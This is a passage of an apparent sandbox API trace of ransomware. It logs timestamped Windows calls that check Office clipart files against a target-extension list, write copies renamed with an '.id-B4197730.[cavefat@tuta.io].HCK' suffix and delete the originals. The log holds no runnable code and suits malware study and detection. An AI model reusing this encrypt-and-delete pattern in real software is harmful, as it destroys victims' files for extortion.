lstrlenW (lpString=".rar") returned 4 [0239.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.587] lstrlenW (lpString=".bz2") returned 4 [0239.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.587] lstrlenW (lpString=".7z") returned 3 [0239.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68 [0239.588] lstrlenW (lpString=".dbf") returned 4 [0239.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68 [0239.588] lstrlenW (lpString=".1cd") returned 4 [0239.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68 [0239.588] lstrlenW (lpString=".jpg") returned 4 [0239.588] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68 [0239.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68 [0239.588] lstrlenW (lpString=".doc") returned 4 [0239.588] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.588] lstrlenW (lpString=".docx") returned 5 [0239.588] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0239.588] lstrlenW (lpString=".pdf") returned 4 [0239.588] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.588] lstrlenW (lpString=".xls") returned 4 [0239.588] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.588] lstrlenW (lpString=".xlsx") returned 5 [0239.588] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0239.588] lstrlenW (lpString=".ppt") returned 4 [0239.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68 [0239.588] lstrlenW (lpString=".zip") returned 4 [0239.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.588] lstrlenW (lpString=".rar") returned 4 [0239.588] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.588] lstrlenW (lpString=".bz2") returned 4 [0239.588] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.588] lstrlenW (lpString=".7z") returned 3 [0239.588] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68 [0239.588] lstrlenW (lpString=".dbf") returned 4 [0239.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68 [0239.588] lstrlenW (lpString=".1cd") returned 4 [0239.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158071.WMF") returned 68 [0239.589] lstrlenW (lpString=".jpg") returned 4 [0239.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.589] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0239.589] lstrlenW (lpString="J0158477.WMF") returned 12 [0239.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0239.719] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=17966) returned 1 [0239.719] CloseHandle (hObject=0x568) returned 1 [0239.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf")) returned 0x220 [0239.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0239.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0240.393] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.394] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0240.515] GetLastError () returned 0x0 [0240.515] ReadFile (in: hFile=0x56c, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x462e, lpOverlapped=0x0) returned 1 [0240.517] WriteFile (in: hFile=0x4b0, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x4630, lpOverlapped=0x0) returned 1 [0240.520] ReadFile (in: hFile=0x56c, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0240.520] WriteFile (in: hFile=0x4b0, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0240.520] SetEndOfFile (hFile=0x4b0) returned 1 [0240.520] CloseHandle (hObject=0x4b0) returned 1 [0240.520] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.520] SetEndOfFile (hFile=0x56c) returned 1 [0240.523] CloseHandle (hObject=0x56c) returned 1 [0240.523] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0240.957] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf")) returned 1 [0241.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0241.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0241.419] lstrlenW (lpString=".doc") returned 4 [0241.419] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.419] lstrlenW (lpString=".docx") returned 5 [0241.419] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0241.419] lstrlenW (lpString=".pdf") returned 4 [0241.419] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.419] lstrlenW (lpString=".xls") returned 4 [0241.419] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.419] lstrlenW (lpString=".xlsx") returned 5 [0241.420] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0241.420] lstrlenW (lpString=".ppt") returned 4 [0241.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0241.420] lstrlenW (lpString=".zip") returned 4 [0241.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.420] lstrlenW (lpString=".rar") returned 4 [0241.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.420] lstrlenW (lpString=".bz2") returned 4 [0241.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.420] lstrlenW (lpString=".7z") returned 3 [0241.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0241.420] lstrlenW (lpString=".dbf") returned 4 [0241.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0241.420] lstrlenW (lpString=".1cd") returned 4 [0241.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0241.420] lstrlenW (lpString=".jpg") returned 4 [0241.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0241.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0241.420] lstrlenW (lpString=".doc") returned 4 [0241.420] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.420] lstrlenW (lpString=".docx") returned 5 [0241.420] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0241.420] lstrlenW (lpString=".pdf") returned 4 [0241.420] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.420] lstrlenW (lpString=".xls") returned 4 [0241.420] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.420] lstrlenW (lpString=".xlsx") returned 5 [0241.420] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0241.420] lstrlenW (lpString=".ppt") returned 4 [0241.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0241.420] lstrlenW (lpString=".zip") returned 4 [0241.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.420] lstrlenW (lpString=".rar") returned 4 [0241.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.420] lstrlenW (lpString=".bz2") returned 4 [0241.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.420] lstrlenW (lpString=".7z") returned 3 [0241.421] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0241.421] lstrlenW (lpString=".dbf") returned 4 [0241.421] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0241.421] lstrlenW (lpString=".1cd") returned 4 [0241.421] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0241.421] lstrlenW (lpString=".jpg") returned 4 [0241.421] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.421] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0241.421] lstrlenW (lpString="J0178932.JPG") returned 12 [0241.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0241.422] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=35340) returned 1 [0241.422] CloseHandle (hObject=0x54c) returned 1 [0241.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg")) returned 0x220 [0241.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0241.423] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.423] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0241.424] GetLastError () returned 0x0 [0241.424] ReadFile (in: hFile=0x54c, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x8a0c, lpOverlapped=0x0) returned 1 [0241.426] WriteFile (in: hFile=0x558, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x8a10, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x8a10, lpOverlapped=0x0) returned 1 [0241.427] ReadFile (in: hFile=0x54c, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.427] WriteFile (in: hFile=0x558, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0241.428] SetEndOfFile (hFile=0x558) returned 1 [0241.428] CloseHandle (hObject=0x558) returned 1 [0241.428] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.428] SetEndOfFile (hFile=0x54c) returned 1 [0241.444] CloseHandle (hObject=0x54c) returned 1 [0241.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.444] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg")) returned 1 [0241.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0241.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0241.445] lstrlenW (lpString=".doc") returned 4 [0241.445] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0241.445] lstrlenW (lpString=".docx") returned 5 [0241.445] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0241.445] lstrlenW (lpString=".pdf") returned 4 [0241.445] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0241.445] lstrlenW (lpString=".xls") returned 4 [0241.445] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0241.445] lstrlenW (lpString=".xlsx") returned 5 [0241.445] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0241.445] lstrlenW (lpString=".ppt") returned 4 [0241.445] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0241.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0241.445] lstrlenW (lpString=".zip") returned 4 [0241.445] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0241.445] lstrlenW (lpString=".rar") returned 4 [0241.445] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0241.445] lstrlenW (lpString=".bz2") returned 4 [0241.445] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0241.445] lstrlenW (lpString=".7z") returned 3 [0241.446] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0241.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0241.446] lstrlenW (lpString=".dbf") returned 4 [0241.446] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0241.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0241.446] lstrlenW (lpString=".1cd") returned 4 [0241.446] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0241.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0241.446] lstrlenW (lpString=".jpg") returned 4 [0241.446] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0241.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0241.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0241.446] lstrlenW (lpString=".doc") returned 4 [0241.446] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0241.446] lstrlenW (lpString=".docx") returned 5 [0241.446] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0241.446] lstrlenW (lpString=".pdf") returned 4 [0241.446] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0241.446] lstrlenW (lpString=".xls") returned 4 [0241.446] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0241.446] lstrlenW (lpString=".xlsx") returned 5 [0241.446] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0241.446] lstrlenW (lpString=".ppt") returned 4 [0241.446] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0241.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0241.446] lstrlenW (lpString=".zip") returned 4 [0241.446] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0241.446] lstrlenW (lpString=".rar") returned 4 [0241.446] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0241.446] lstrlenW (lpString=".bz2") returned 4 [0241.446] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0241.446] lstrlenW (lpString=".7z") returned 3 [0241.446] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0241.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0241.446] lstrlenW (lpString=".dbf") returned 4 [0241.446] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0241.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0241.446] lstrlenW (lpString=".1cd") returned 4 [0241.446] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0241.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0241.446] lstrlenW (lpString=".jpg") returned 4 [0241.446] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0241.447] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0241.447] lstrlenW (lpString="J0179963.JPG") returned 12 [0241.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0241.448] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=32110) returned 1 [0241.448] CloseHandle (hObject=0x54c) returned 1 [0241.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg")) returned 0x220 [0241.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0241.449] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.449] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0241.450] GetLastError () returned 0x0 [0241.450] ReadFile (in: hFile=0x54c, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x7d6e, lpOverlapped=0x0) returned 1 [0241.452] WriteFile (in: hFile=0x558, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x7d70, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x7d70, lpOverlapped=0x0) returned 1 [0241.453] ReadFile (in: hFile=0x54c, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.453] WriteFile (in: hFile=0x558, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0241.453] SetEndOfFile (hFile=0x558) returned 1 [0241.453] CloseHandle (hObject=0x558) returned 1 [0241.453] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.453] SetEndOfFile (hFile=0x54c) returned 1 [0241.455] CloseHandle (hObject=0x54c) returned 1 [0241.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.456] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg")) returned 1 [0241.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0241.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0241.456] lstrlenW (lpString=".doc") returned 4 [0241.457] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0241.457] lstrlenW (lpString=".docx") returned 5 [0241.457] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0241.457] lstrlenW (lpString=".pdf") returned 4 [0241.457] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0241.457] lstrlenW (lpString=".xls") returned 4 [0241.457] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0241.457] lstrlenW (lpString=".xlsx") returned 5 [0241.457] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0241.457] lstrlenW (lpString=".ppt") returned 4 [0241.457] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0241.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0241.457] lstrlenW (lpString=".zip") returned 4 [0241.457] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0241.457] lstrlenW (lpString=".rar") returned 4 [0241.457] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0241.457] lstrlenW (lpString=".bz2") returned 4 [0241.457] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0241.457] lstrlenW (lpString=".7z") returned 3 [0241.457] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0241.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0241.457] lstrlenW (lpString=".dbf") returned 4 [0241.457] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0241.457] lstrlenW (lpString="C:\\Program 